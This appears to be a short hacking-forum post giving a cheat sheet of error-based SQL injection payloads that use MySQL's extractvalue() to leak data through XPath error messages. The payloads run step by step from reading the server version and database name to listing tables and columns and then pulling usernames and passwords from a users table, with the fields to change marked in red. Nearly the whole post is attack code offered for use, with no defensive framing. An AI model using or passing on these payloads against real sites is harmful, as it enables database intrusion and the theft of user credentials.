[SQL Injection] Method Xpath

[poqun]

Version:

Code:

and extractvalue(rand(),concat(0x7e,version()))--

Database:

Code:

and extractvalue(rand(),concat(0x7e,@@database()))--

Tables:

Code:

+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[COLOR="#FF0000"]0[/COLOR],1)))--

Columns:

Code:

+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x[COLOR="#FF0000"]HEXTable[/COLOR]+limit+[COLOR="#FF0000"]0[/COLOR],1)))--

Extract:

Code:

+and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+[COLOR="#FF0000"]users[/COLOR]+limit+[COLOR="#FF0000"]0[/COLOR],1)))--